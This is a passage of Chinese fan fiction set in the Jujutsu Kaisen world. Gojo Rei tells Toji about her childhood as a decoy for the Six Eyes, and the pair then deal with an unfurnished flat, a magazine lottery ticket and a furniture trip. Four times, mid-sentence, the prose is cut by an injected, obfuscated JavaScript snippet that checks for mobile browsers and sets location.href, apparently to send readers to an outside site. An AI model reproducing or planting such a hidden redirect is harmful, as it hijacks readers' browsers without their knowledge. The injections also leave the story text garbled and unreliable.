她存在的意义并不复杂,就是为了分散六眼在长大成人之前可能遭遇的一切危机。实现计划的方式也并不复杂,这孩子长得和六眼很像,只要削短她的头发、再套上和六眼一样的服饰,他们看起来将会像是完全一致。 再然后,在任何有需要的时候,只要带着这个孩子出去,就足够勾走一些脑子不灵光的诅咒师。他们会像饥饿的鱼那样钻进渔网,然后拼命挣扎。 鱼死网破的时候总是有的。五条怜曾无数次遭遇濒死的境地,环绕在身旁的人都死了,自己倒是侥幸活了下来。更多的时候是见证了他人的死亡,但那些失去不足挂齿。 …… 在那个家里,大家总说着satoru的事情。 ——知道吗,satoru少爷继承了无下限术式! ——satoru少爷又学会了新的本领! ——啊啊,satoru少爷太聪慧了! 他们诉说着她的名字,却不在她的眼前说起这些事情。而且,她也没有做出这些事情呀? 她拥有咒力,但没能继承术式。也许这就是为什么,五条家没有让任何术师前来教导她任何有关咒力实操的事情。她都不知道要如何成为咒术师。 再说了,她也不是“少爷”呀。 真奇怪。什么都很奇怪。 一切的困惑,在见到那位“satoru”之后,就彻底消失了。 真正的六眼,真正的satoru。与她空洞的深蓝眼眸不同,当他的眼眸注视着自己时,五条怜甚至想要捂住大脑。 不然的话,一定会被他看穿一切她脑海中的想法吧。 那时,他的脸上并没有什么嫌弃的表情——确切的说,其实是什么表情都没有,就像一幅能面面具。他只动了动唇,说,确实,长得和他很像。 必须承认,这不算是很愉快的初次见面。后来究竟是怎么成为关系还不错的兄妹的?也有点想不起来了。 回过神来,她已经变成了跟在五条悟身后的小小跟屁虫。 虽然这个家的所有人都不喜欢她,虽然大家都当她是棺材子而厌恶她,虽然她渐渐地长得不再像是阿悟,但只要和阿悟走在一起,一定什么都不用害怕吧。 “从此以后。” 颤颤巍巍地站在家主的面前,五条怜知道计划失败了。她彻底不像五条悟了,从空洞的双眼中就能看出贫乏无能的本质。谁也不会再轻易上钩。 而且,五条怜已经成长为了很了不起的六眼。 她没用了。 所以家主说:“从此以后,你就做回五条怜吧。” 从此开始,她才真正地成为了“五条怜”。 从那之后,她的老鼠被踩死,她捡到了戒指,但家主看她就像是在看被踩死的老鼠。然后…… “然后我受不了那个家,就逃走了。” 五条怜终于追上了他的脚步。那些一点都不想说出口的事情,也总算是说到了尽头。 “虽然诱因是戒指,但……就算是没有那枚戒指的事情,总有一天我也会离开吧。我在那里呆不下去。” 总有一天会是哪天,她也不确定。如此想来,或许捡到了那枚戒指、被家主视作虫豸,也不算什么坏事了——现在可比留在五条家好多了。 “哦。这样啊。” 甚尔漫不经心地说。 他好像听得不太认真。早知道这样,她也别说得那么详细了。 五条怜心口闷闷的,好一阵难受,但她也不知道自己到底在难受什么。她只能用力地喘息几口气,努力让瘪瘪的胸腔重新鼓起来。 “所以。” 甚尔再度出声,吓得她瞬间打起精神了:“您说您说。” 他眯起眼,斜睨着打量她:“干嘛突然怎么谄媚?” “呃——” 谄媚吗?她怎么一点都没感觉到。 五条怜摸摸脸颊,好不自在:“因为我,尊敬您?” “嚯哟!”他发出一声夸张的惊呼,“尊敬我这种人?” “您不值得尊敬吗?” 甚尔想说“当然了”,可一低下头,对上的却是一双很空洞的眼睛——她的眸子总像是蓝洞,区别是蓝洞里一定藏着无尽丰富的秘密,而她的眼里只漂浮着空空荡荡。 很空洞,但在看着她时,却分外认真。 于是,他的回答好像也跌进了这片深蓝之中,无法说出口了。甚尔耸耸肩膀,不再继续这个无趣的话题了。 “所以。”他把扯远的话题重新拽回来,“你们家前代的六眼早早地就被诅咒师杀死了?我还从来没听过这种事。” 果然,他在乎的重点也是“六眼”。五条怜不觉得意外,至少她认为自己不需要意外,可心脏还是不甘地突突突跳动着。 “对。”她轻轻点头,“这件事,就连五条家的人也很少知道。” “那你是怎么知道的。” “阿悟告诉我的。” “也是。” 差点忘了,眼下就有一位了不得的六眼存在呢。 甚尔能想到为什么这出替身计划失败了。 五条怜太不像是六眼该有的模样了,从气质到能力,就连举手投足之间畏畏缩缩的小习惯也透着别扭。看来看去,大抵就只剩下一张脸还算像是五条悟了吧,虽然根据本人所说,这点相似也已经伴随年月磨灭了。 说起来,六眼长什么样子来着?想不起来了。甚尔让她抬起头,试图从她的面容中重新构筑出对于五条悟的印象。 “怎么说呢……”他从鼻子里发出一声轻哼,“多少还是有点像的,因为你们是兄妹吗?要成为六眼替身这件事是在你出生后就决定的,那时候怎么保证你们的长相完全一致——你们又不是同父同母的亲兄妹。” 确实,她与五条悟的关系,充其量是来自于同一个家族的手足。真没想到甚尔还记着这一点。 五条怜有点不想回答了,或者说点别的什么搪塞过去。可其他还能说些什么借口呢,她想不到。 好像,只能坦白地说了。 “术式吧。大概。”话语和她的脚步一样僵硬,一点一点迈到电梯前,甚至忘了要按下向上的三角形小按钮,“以前听家里的下人说起过,似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794703|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是曾找来了一个诅咒师,让他把我的脸变成了和阿悟很像的样子……所以现在变得不一样了,是因为术式的能力在减弱。” 就像是镀在表层的金箔一片一片掉落,露出了藏在其中的石头。 如果下人们的传言都是真的,那如今她与五条悟一切的不同,全都是因为真实的她正在显露。 这个可能性有点糟糕,所以她不爱去想——连带着连整个五条家都不愿意去回忆了。但她怀疑甚尔还会再追着问。 “您对五条家的事情很好奇呢……”她小声嘀咕。 终于想起等了好久电梯都没来,她抬手轻按向上的小三角,听到甚尔轻轻哼了一声。 “忘了吗?”他歪着脑袋看她,“我说过的,我爱听御三家的腌臜事。” 是了,是听他这么说过。 “对你来说,御三家的腌臜事是‘情报’吗?”五条怜不觉得这份爱好纯粹只是来自于对八卦的渴望。 甚尔耸耸肩,不置可否:“有些事情,知道得越多越好。” “是嘛……” “还有,你现在是跟在我的屁股后面,所以别再嘀咕其他人的事情。我听了会觉得烦。” “……明白。” 没关系,她也不想再说了。 叮——电梯落回到底层。步入其中,轿厢门即将合拢,五条怜想起一件不算很重要但也绝不渺小的事情。 所以,自我认同感该怎么办?她的自我认同感应当是什么呢? 这个最应该纠结和讨论的问题,好像轻而易举地就从今日的话题中溜走了。 五条怜抬起头,注视着甚尔宽阔的背影。 甚尔的自我认同感,她也还不知道。但如果问了,他一定会扯开话题。 这个男人,到底是否存在着“自我”,或者“认同”呢? 她没有答案。她想她找不到答案。 “你怎么又磨磨蹭蹭的?”甚尔用手撑着门,回头看她,满脸嫌弃的,“做事太慢了吧。” 啊,一不小心想了太多,脚步都慢下来了,被他狠狠甩在身后,也难怪要被嫌弃了。 五条怜小跑几步,冲进门里。 “来了来了!”她急匆匆说,“下次一定不磨蹭了!” 甚尔努嘴,把门关上:“上次你也是这么说的吧?” “啊?”是吗?她想不起来了,只好尴尬地笑笑,“哈哈哈——” “嬉皮笑脸。” “哦……” 她收起嘴角的弧度,一声不响。 还是别笑了吧。 空空荡荡的家比任何时候都显得漆黑,也不知道开关在哪里。摸索着走到客厅,看看谁在婴儿车里的小海胆,五条怜松了口气。 现在没人能照看禅院惠了,出门这件小事也变得提心吊胆了,真叫人苦恼。 咔哒——甚尔终于摸到了开关。平淡的浅白色灯光洒下,倏地把宽敞的新家照亮。 “想想今晚睡哪儿。”双手叉腰,他四下环顾着,“你还是要住在这里的,没错吧?随便挑个房间当你以后的卧室好了……啊。” 像是想到了什么,他忽然窃笑起来——说别人嬉皮笑脸的他,倒是有随意偷笑的权力呢。 在窃笑声中,他说:“这次可没有楼梯间给你选了。” 47.楼梯间 不用思索,也不必纠结,更加用不着担心自己会不会想多了,甚尔的这句“这次可没有楼梯间给你选了”,绝对就是对她早前选择了楼梯间当卧室的嘲弄! 五条怜涨红了脸,连耳朵都在隐隐发烫,而这绝对是羞耻感造成的杰作。 “……我知道这里没有楼梯间!”她逞强般替自己辩解,“再说了,楼梯间什么的,我早就已经住腻了!” “是该腻了。” 甚尔挠挠头,皱着脸说,显然是回想起了昨晚委屈巴巴地缩在那个小房间里待了一整晚的糟糕经历。 “那里挤得要命,真不知道你怎么睡的。”他嘀咕着。 挤吗,她怎么没觉得? 用不着琢磨太久,她很快就找到答案了:“因为我没……” 才说道一半,她的话语突然停住了,表情也僵在脸上,看起来真像是按下了暂停键。甚尔挑了挑眉,带着一丝计谋得逞的偷笑,追问道:“没有怎么?” “没、呃……”啊啊,现在连脸颊都开始烫起来了,说出口的话语哆哆嗦嗦,“因为我没您长得高……” 她的声音一点一点轻了下去,消失到了不知何处去。 自己不如甚尔长得高,这是一眼就能看出来的事实。话虽如此,要在一直嫌弃她长得太矮的甚尔面前坦白自己确实很矮的这个事实,实在是太煎熬了,煎熬到五条怜冒出来了一股没由来的心虚感,衬得自己更加渺小了。 至于甚尔嘛,他当然是笑出声来了,以一副很得意的腔调。 “啊哈!” 难得见他心情这么好,如果他的好心情不是用来嘲笑自己的就好了。 五条怜耷拉着脑袋。她一点也不想表现得那么沮丧,可甚尔的恼人发言总是在耳边响个不停,叽叽咕咕着:“看来你还挺有自知之明的嘛,知道自己只是个小豆丁。我是不打算打击你的自信心,但我得提醒你,你这颗小豆丁就算是好好地发了芽,也没办法比我高的。” 说着,他一撇嘴角,还耸了耸肩,一副“你好自为之”的态度,看得五条怜瞬间从沮丧转变成了暴怒。 啊,当然了,对着甚尔发火,这种事她是绝对做不出来的。这点小小的恼怒也全藏进了攥紧的拳头里。她对着看不见的空气气恼地挥了几圈。 “我马上就能长高的!”她执拗地替自己辩解,“我正处在生长期呢!” 甚尔连眼皮都没有抬一下:“这就是你刚才抢我牛肉的理由?” 没想到他还在介意这种事,真是小气鬼。 其实强抢牛肉和想长高的心完全没有关系,但似乎是个不错的借口——要是被甚尔知道自己是把夏梨同谷饲牛联系在了一起所以才吃了不少牛肉,他肯定会嘲笑自己的。 不用再多想了,她匆忙点头:“嗯,就是这样没错!” “啧……怪小孩。”甚尔轻轻咂舌,瞥向她的目光都显得有点微妙了,“那就把最大的卧室让给你了,说不定你以后也能长大到撑满整个房间。” 这话听起来好像带着一点嘲讽意味,但也可能只是五条怜听错了。她也说不好,只能笨拙地点点头,小声嘀咕着:“谢谢您?” 甚尔无奈地扯扯嘴角:“不客气。” 算得上有些仓促,五条怜成功得到了这个家里最为宽敞的主卧。算不算得上是好事一桩,这个问题暂时先按下不表,但怎么总有一种她是胜之不武的感觉? 不过,分配卧室什么的,这种不大不小的事情,也算不上是什么战争啦,当然也无从讨论胜利不胜利之类的事情。 就算是最宽敞的卧室,也和这个家的其他地方一样空空荡荡,除了电灯——甚至连个像样的灯罩都没有,只有一节灯管光秃秃地露在外头——以外,多余的家具一件都没有。 床嘛,自然也不存在。五条怜看着硬邦邦的木地板犯难。 她和甚尔一样,都以为华原先生约定的新房是轻松就能领包入住的程度,当然没有带上半点家具或是被褥,实在没想到是确确实实的一间新房子没错。 感觉,好像被华原先生埋伏了一手呢。 往身上不停套衣服的时候,她暗戳戳地在心里这般抱怨着。 她想过了,直接躺在地上大睡特睡显然是不行的。没有丝毫柔软可言的木地板绝对不是什么可以安眠如梦的选项。 往地上铺一层衣服姑且增加一点柔软感,想来似乎是个不错的想法,但她的衣服少得可怜,从头铺到脚,只能堆满薄薄的一层,躺上去,好像还是和直接躺在木地板上没差。 要是那件羊毛的夹克还在自己身边就好了,可惜这只是“要是”。她光是想一想就忍不住要叹气了。 以前常穿的甚尔的那几件衣服,已经在本人的强烈要求之下全部归还过去了,她也不好意思只是为了舒舒服服地睡一晚上而找本人去要回来。 所以,她现在正在穿上自己的每一件衣服,努力增加自己的装备厚度。如此一来,她与坚硬地板之间的距离就能稍许增加一些了——通过她的亲身实验,已经证明了这就是今晚最佳的睡眠方式没错。 最后再找一件柔软的打底衫,叠一叠当作枕头,她总算是能够躺下来了。肩胛骨隐隐约约还能感觉到木地板的硬实质感,但没有那么鲜明了。只要不侧身睡,突出的骨头就不会被硌得难受。 “晚安,惠惠。”可不能忘记哄一哄今晚和她睡在一间房的小海胆,“现在只有你一个人睡得最舒服啦……” ……坏了坏了,她怎么又开始羡慕起一个小婴儿了?这可不好! 赶紧甩甩脑袋,把这点丢人的眼红全部甩出去。五条怜闭紧双眼,强迫自己快点睡着。 这一晚,确实是睡着了没错。但睡眠质量嘛,当然是根本不存在的。 在短短的六个小时里,她醒来了八次。 其中,两次是为了给小海胆喂奶的自然而然的习惯性苏醒,两回是被厚重的衣服捂得后背冒汗,热气直冲大脑,一次是迷迷糊糊坐起来费劲地扒掉套在身上的加绒卫衣两件衬衫和三条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799128|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 运动裤,紧接着迎来了三次骨头几乎要被硬木头压得错位的恐惧感,她很不争气地被吓到从不安稳的梦中猛地睁开双眼。 最后一次苏醒,大概是这段糟糕的睡眠终于走到了尽头。她既没觉得有多热,也没觉得很冷,就是平躺着睁开了双眼,无趣地瞪着天花板,背后的木地板正在致力于让她的脊椎骨彻底散架。 说真的,她连一秒钟都忍不下去了! 飞快地爬起来,也自己不管踢飞了脚下几件衣服,五条怜冲出房门。 她要找到甚尔,告诉他现在立刻马上就去家具店买一张床,再不济拖回一张席梦思床垫也好——或者或者,买床被子打地铺也是好的呀! 无论如何,都不能再直接睡在地上了! 五条怜暗自在心里给自己鼓劲,顺便连措辞这一步都已经偷摸摸地演习了好几遍。前所未有的勇气让她有种莫名的亢奋感(其实这份亢奋更有可能是缺少睡眠所导致的),脚步轻快地走向次卧。推开门一看,空空荡荡。看来甚尔没有选择此处当他的房间。 推开第二扇门……哎呀,走错了。这里是置物间。再打开隔壁的门,怎么还是置物间? 睡眠不足与陌生的家双管齐下,成功给五条怜造成了前所未有的迷茫感。勇气也成功地被折半了。她感觉自己的脑子上正蒙着一层微妙的雾气。 小心翼翼,再把手搭在又一个门把上。还来不及按下去,把手居然自顾自转动起来了,吓得她差点没喘上气,随之而来被拉开一道小缝的门扉更是让她几乎要原地跳起。还好从门里出来的只是甚尔而已,否则上述一切丢人动作,真的就要全部化作实际了。 其实甚尔也有点被突然出现在门口且脸色青白像个幽灵的五条怜吓到。但他可不会把惊恐的表情像她那样全部写在脸上,也不打算夸张地倒吸一口气,只瞄了她一眼,随口问道:“起这么早?” “唔,是的。您今天起床也挺早?”话说完了,才想起来好像还漏了点什么,她赶紧补上,“早上好。” “哦。好。” 他的回答真简单,直接把“早上好”浓缩成了短短的一个“好”字。 说实在的,他的脸色看起来也没多好,看来他的睡眠质量并不会比五条怜好到哪里去,也难怪他整张脸都皱起来了,别扭地蹙起眉头,一会儿转转肩膀,一会儿摸摸后背,安定不下来的手最后落在了后脑上上,很随意地挠了挠,小小的抱怨话语随之而来。 “华原那老头子,绝对是在报复我没错……受不了,直接睡在地上实在是太难受了。” 五条怜不可思议地眨眨眼:“您也会觉得难受呀?” 亏他还长了这么一身的肌肉,难道就没有半点作用吗? 她实在想不明白,目光忍不住打量他的手臂肌肉,好奇的实现一路向下,却被他忽然的出声打断了。 “喂。” 抬眸一看,他眯起眼正盯着自己呢。 “我说你啊,是不是在想什么超级没礼貌的事情?” 48.没有礼貌 没错,就在此刻,五条怜的脑袋里确实装着不太礼貌的想法。 她觉得甚尔的满身肌肉没能在席地而睡的时候化作无形的被褥,实在太可惜。这种念头真的有够大不敬的。 都被甚尔看出来了,那么她就会如愿地把心中所想说出口吗?当然不可能啦。 她有种确信的预感,要是她当真这么鲁莽,那么在说出上述想法后,以甚尔一贯的处事风格,要么会白她一眼,要么就是锤她的脑袋,力度有多重,将取决于他的恼怒程度。 五条怜可不想莫名其妙地(其实也没那么莫名其妙)挨上一记,更不乐意被白眼,于是匆忙换上一副板正的面孔——她已经开始展现出扑克脸的精髓了!——干巴巴笑了两声。 “没在想什么呀。”总之先撒个不痛不痒的小谎吧,“你是不是想太多了?” 想太多?他怎么可能想太多! 看着一个小屁孩装出一副游刃有余的骗人模样,甚尔觉得好无语,一时间都不知道说什么才好了,也完全忘记了正是自己把“扑克脸”这个概念教给她的。 换句话说,他才是此刻现状的始作俑者! 不知道该不该算作是好消息一桩,甚尔并不打算逼问出她的真实心思,当然也不准备问责自己。他的脑袋也是雾蒙蒙的一片,所有思绪全都变得迷迷糊糊的了,只余下一个念头依旧清晰,而这个想法当然是赶紧买张床然后好好地睡上一觉。 既然期望已经如此迫切,那么就得赶紧付诸实际才行! 于是,甚尔和五条怜并排盘腿坐在空空如也的客厅里,隔着一段可以说是相当礼貌的社交距离,还有一只不谙世事呼呼大睡的小海胆,无聊地盯着地板接缝发呆。 他们确实达成了共识没错,迫切地想要睡上一觉的心情也真得不能在真了,但现在是早晨六点整。 这个时候,绝不可能有任何一家家具店开门的。电器街也在沉睡中,所以就连趁早买台电视机来打发打发时间也变得不可能了。 ……华原那个老头子,绝对是复仇没错了。 甚尔气恼地想。 坐得腿麻了,无趣的等待也磨人。他索性往后一倒,准备躺下来歇会儿,没成想,后背一碰到地板,一整晚在坚硬地面睡觉时积攒下来的酸痛感一齐发作了,拉扯着背部肌肉都在痛个不停。以前被家里那些眼睛长头顶上的咒术师围起来打好像都不如在木地板上睡一晚上来得难受,甚尔无话可说了。 用手撑着地板,艰难地重新坐起来,他现在只想叹气。看看手机,未接电话当然是零,也不会有人给他发任何短信。 最近就连电信运营商都不会给他发消息了,难道是发现他压根就不是什么大客户吗?甚尔咋舌,心里已经偷摸摸地把禅院家的咒术师和电信运营商绑在一起了,暗自贬低着这群狗眼看人低的家伙。 后悔感嘛,当然是前所未有的强烈。一是后悔在和华原协商报酬的时候没有界定好所有回报的条件,傻兮兮住进了没装修过的新房子里。其次嘛,就是后悔着没有买一部自带游戏的手机了。 还记得当时买新手机的时候,临近的诺基亚柜台新出的款式,可是能够玩贪吃蛇的。当时候为什么选了这款来着? 甚尔看着手中银色的这台精密的小小机器,好像有点回想起来了。 当时,貌似是觉得自己这种人和游戏的适配性相当低,而且他对游戏也没那么感兴趣。现在他后悔了——如果拿在手里的是那部深蓝色的诺基亚,现在他至少还能靠无限变长的小蛇来充实无趣时间呢。 干脆把手机也丢到一边算了。 甚尔觉得自己应该学到了一点什么教训,不过现实状态是,他的脑袋依旧罩着一层雾。 教训也好,道理也罢,全都在雾气的另一端,没有给他造成半点实感。倒是无趣感鲜明得可怕。 耐不下去了,他站起身。 “走了。”他对五条怜招招手。 同样脑子上罩着一层雾的五条怜也花了几秒钟才终于回过神来,然后又耗了几秒,学着他的样子站起来。 “我们去哪儿?” 甚尔已经开始找钱包了——丢掉的手机当然也要找回来啦。他一边四下摸索,一边嘀咕着:“去楼下便利店,先买点东西垫垫肚子,然后看下有没有报纸吧。” “应该有吧,昨天路过的时候,看到橱窗里摆着报纸。” “行。”那可再好不过了,“有报纸的话就买份报纸看看,看到nitori或者宜家开门为止。” “nitori?” 两只鸟的意思吗?五条怜眨眨眼,没有听懂。 “家具店啦。” 甚尔以一副看笨蛋的表情看她,一句“大小姐”也差点接在后头说出来。看在她已经露出了一副很窘迫的模样,他便不说了。 “哦……我知道了。”她收起耷拉的嘴角,伸手把婴儿车拉过来,“要带上惠惠一起去吧?” 甚尔皱眉,有点不解:“带他干嘛?” 现在不解那方变成五条怜了。 为什么不呢?她忍不住想。 昨天他也是这种态度,完全不把育儿大事放在心上。 “放他一个人在家里的话,会很不放心的,不是吗?”她觉得自己像在说一个显而易见的事实,“如果不看着点,他会从各种地方掉下去的,比如像是沙发或是床之类的……啊,这里的话,倒是不用担心这一点。” 毕竟什么都没有嘛。 但就算如此,也不能放心! “而且,还有很多麻烦事情要做的,比如像是喂奶呀换尿布什么的。他还会索求抱抱的,要是他哭得昏过去了怎么办?那多吓人!” “我儿子是一哭就会昏过去的吗?” 甚尔听了倒是想昏呢,还好他现在只想要叹气。 “你果然是被夏梨家的保姆宠坏了。” 隔了一整个晚上,忙碌的日常几乎要冲淡了在镰仓的回忆,当“夏梨”这个名字不期而至般跳入耳中时,五条怜不自觉地轻颤了一下。耳洞又开始痛起来了。 不是已经不流血,重新开始结痂了吗?真麻烦。 “既然你这么担心的话,那就把惠带在身边吧。”他耸耸肩,走向玄关,“反正也是你照顾。你愿意承担起这点多余的工作,我应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804229|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 替你高兴。哈哈哈。” 他干巴巴地笑了两声。听起来倒是也没有那么高兴呢。 还是搞不懂他在想什么,但也许搞懂了也没有意义。五条怜不再想了,推着婴儿车往前走。 忘记关上的窗,此刻很不适时地吹来了风,拂动了鬓边的碎发,也吹动了柔软的耳垂。一度几乎快要消失无踪的痛意,倏地又回来了,疼的她不得不顿住脚步,不期之间停在了原地。 麻烦,果然很麻烦。 每当耳洞痛起来时,她都好想摘掉耳钉。烦人的贯穿伤口,干脆愈合算了。这份冲动今日比任何时刻都要更加强烈。 反正耳环从来都不是人生的必需品。她告诉自己。 冲动如此猛烈,可还是没有落入实际。 为什么没有?她说不好。 可能是不想遭受多余的疼痛,更多的可能性是她该出门了。不能再为无聊的这一丁点小事耽误脚步。 清晨的新宿还没有忙碌起来,但出门后不多久,就能透过便利店的玻璃,看到穿着西服或是校服的行人出现在街头。 看来今天是工作日。 不上班的甚尔和不上学的五条怜同时冒出了这番感想,并且很有默契地把早饭送进了嘴里。 甚尔吃的是炒面面包配冰美式,五条怜则是鸡蛋布丁和牛奶再加一个三角饭团,简直是大相径庭。 当然了,刚才那点难得且有趣的巧合,两位当事人完全没有察觉到。 甚尔摊开报纸,首页毫不意外是尚未结束的伊拉克战争。只要战火还没烧到东京,那就同他无关。甚尔觉得不感兴趣。残奥会的新闻也不甚有趣,哗啦哗啦翻过去了。 他连去年的洛杉矶奥运会的赛程和结果都不关心,怎么可能会对都柏林的残奥会提起不存在兴趣。 看来看去,报纸上写的不是那些无聊的事件,就是股票或是正是有关的新闻,还有并不重要的某某基金会宣告成立,无聊到让人想要打哈欠。他合起报纸,最后一丁点趣味感伴着吐息一起被叹到空中,早些时候盘腿坐在自家(虽然那地方不尽如人意,但的确已经是他的家没错了)客厅里的那种乏味心情好像又回到了身体里。 全当是为了压抑着股乏味感,他拿起咖啡杯,先像模像样地晃了两下,尽力让咖啡带走冰块即将融化的水分,迷了两口,目光悄然瞥向身旁的五条怜。她正捧着一本什么,看得很起劲,与他现在状态截然不同。 那就再喝一口咖啡吧,然后偷瞄一下她在看什么……嗯,她拿了本时尚杂志——果然是没品的小孩。 他暗戳戳在心里想着,忍不住撇了下嘴。 就像是捕捉到了他的表情,恰巧是在同一时刻,五条怜也抬起头,一本正经地盯着他看。 “甚尔。” 甚至还叫他了。 甚尔嘛,他当然是不可能感觉心虚的,但杯子里的咖啡还是自说自话地猛晃了一下。他干脆放下杯子,连脸色也变得不太好看了。 “干嘛?”他没好气的。 啪——她合拢杂志,换上一副认真表情。 “你是不是在想很不礼貌的事情?” 49.特等奖 ——你是不是在想不礼貌的事情? 必须承认,在说出这句话的时候,五条怜确实怀揣着一点报复的意味——当然啦,只有一点点而已哟! 这点复仇的心思,是绝对不能轻易说出口的,不过嘴角不经意扬起的弧度已经把她的心思全部透露出来了。甚尔全都看在眼里,轻哼一声。 “对啊。”他耸耸肩膀,“我觉得你看这种庸俗的杂志非常没品。” 和五条怜不同,甚尔打算当个直率的家伙,虽说直率也不算是他一直以来的优良品德。 真是叫人伤心的真相呢。 五条怜的嘴角一下子耷拉下去了,刚才那副带着点计谋得逞的小表情也彻底消失无踪。她撇撇嘴,真想替自己辩解几句,却不知道从何说起才好了。 真没想到“没品”这个评价还能再听到第二回。而且看时尚杂志哪里没品了呀! “你只是不喜欢时尚杂志,所以才把自己的喜好强加在别人头上了吧。” 她小声嘀咕,嘀咕着嘀咕着忽然来了底气,一下翻到杂志的最末页,把最后彩页摊开来给他看。 “再说了,我是看到这本杂志本期有抽奖活动所以才买下的——特等奖是巴宝莉的手提包呢!” 印在彩页上的经典格纹手包,甚尔只瞄了一眼,就收回了目光。 “没品。”他赌气似的说。 五条怜真的要跳起来了,面红耳赤地替自己辩解:“可是这个包很好看呀!而且这算是一种赌博不是吗?” “话是这么说的没错,但你的运气哪有好到能中特等奖?” “我——” 好嘛,这下彻底是反驳不了了。 且不说她本人的运气如何,仅此一个且中奖率只有综合百分之零点零三的特等奖,从概率学上来说就是遥不可及的宝物。二等奖与三等奖的粉饼香水看起来也有够诱人,可五条怜不怎么想要——虽然她都不知道自己能不能中。 多少有点被打击到了,五条怜深呼吸了几口气,稍稍平复了一下心情,把杂志往甚尔面前一推。 “您来抽吧。” 她这话说得像是在赌气,实际上当然和赌气没有半点关系。 她认真地考虑过了,无论是运气还是实力,他们之中肯定都是甚尔更胜一筹。比起刮开抽奖涂层那一刻的未知期待感,她更宁愿让手气更佳的那方帮忙抽中心仪的奖品。 在这个场合下,心仪奖品当然是百分之零点零三概率的巴宝莉手提包。 甚尔皱起了脸,说实话有点不情不愿的。 刮开抽奖涂层这件事他其实挺乐意做的,但五条怜的态度总像是想要靠他的金手指逆天改命一样夸张。 且不说他有没有金手指,就算他运气好到爆炸,也不能浪费在这么一次小小的抽奖上啊——起码得用在柏青哥或者赌马上大赚一笔才对! “再说了。”可不能忘记最重要的一点,“在你选中这本杂志的时候,能否中奖这件事就已经确定了,刮开涂层只是揭晓答案的过程而已,由我来还是由你来全都一样,不是吗?” 一语道破,可五条怜还是一副固执模样。 “肯定会有一点不一样啦!”她不停把杂志往甚尔面前推,“您就试试看嘛,拜托了!” “诶?行吧行吧。” 甚尔被她求得嫌烦,也有一点点可能性是他对中奖结果确实有那么一点好奇。 不管是处于什么理由,他总算是答应了,伸手往口袋里摸了摸,好不容易才掏出一枚硬币,还是最有缘分的五元铜板。 难道真能和巴宝莉手提包结缘了?他暗自想。 轻轻刮开银色的涂层,第一个文字露出来了——是“特”字。 “!!!” 五条怜突兀地张着嘴,这完全是因为她已经惊喜到说不出话来了,紧挨到甚尔身边,满怀期待地探头看他刮着涂层,脑袋动来动去的,好像一只小狗。 便利店的小桌子本来就不宽敞,被她热情的期待一挤,彻底不剩多少空间了。 甚尔别扭地歪着身子,心里多少有点怨言,却没有说出口来。他也被这意外的“特”字惊到了。 见鬼了,运气真有这么好吗?但仔细看看,这个“特”字的位置貌似…… 继续刮下去,一长串文字出现了。 “‘特别的感谢致特别的你’……我们没中奖啊!” 五条怜发出痛苦的惊呼。 难怪总觉得“特”字的位置格外靠前,还以为是什么特别的排版,原来是憋了这么一句祝福语啊。 甚尔干笑了几声。 意料之中的结果,没什么好沮丧的。他这么想着,把五元硬币丢回到口袋里,无视一旁郁郁寡欢的五条怜,直接把杂志阖上还给她了。 “我说了吧。”他的语调里居然还带着一点莫名其妙的窃喜,也不知道有什么好高兴的,“就是抽不中的。 ” “我知道的啦……”她小声嘀咕。 五条怜当然知道自己没有好运到能够轻松的拿捏到百分之零点零三的概率——要是能有这种运气,说不定她出生时就能抓中“六眼”这枚好签了。 也就是说,此刻所感觉到的一切沮丧和低落,完全是因为刚才看到“特”一字的瞬间高涨起的肾上腺素所带来的副作用,衬得所有的负面情绪都变得更加灰暗了。 杂志上帅气的封面男模彻底失去了吸引力,写在书页里的“这个夏天最不容忽视的时尚单品!”专栏也变得乏味无趣。她把杂志推得更远,一眼都不想多看了,与甚尔一起保持着无聊的空洞状态,一直到时针指向九为止。 感谢开门更早离家更近连咖啡也更加便宜的宜家,这一切有点成功让它化身为目标终点的第一站。 装修风格是用不着费劲多想了,照着喜欢的样板间依葫芦画瓢,把对应家具统统买下就好。 现在五条怜有点感激甚尔在意大利之行成行前和夏梨提了分手,省下的一大笔出游钱正好够买家具,否则他们就要成为住在繁华地带大平层却连饭都吃不起只能煮清水乌冬面(噩梦又回来啦!)的可怜穷鬼了。 “你在偷笑什么?”穿梭在自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 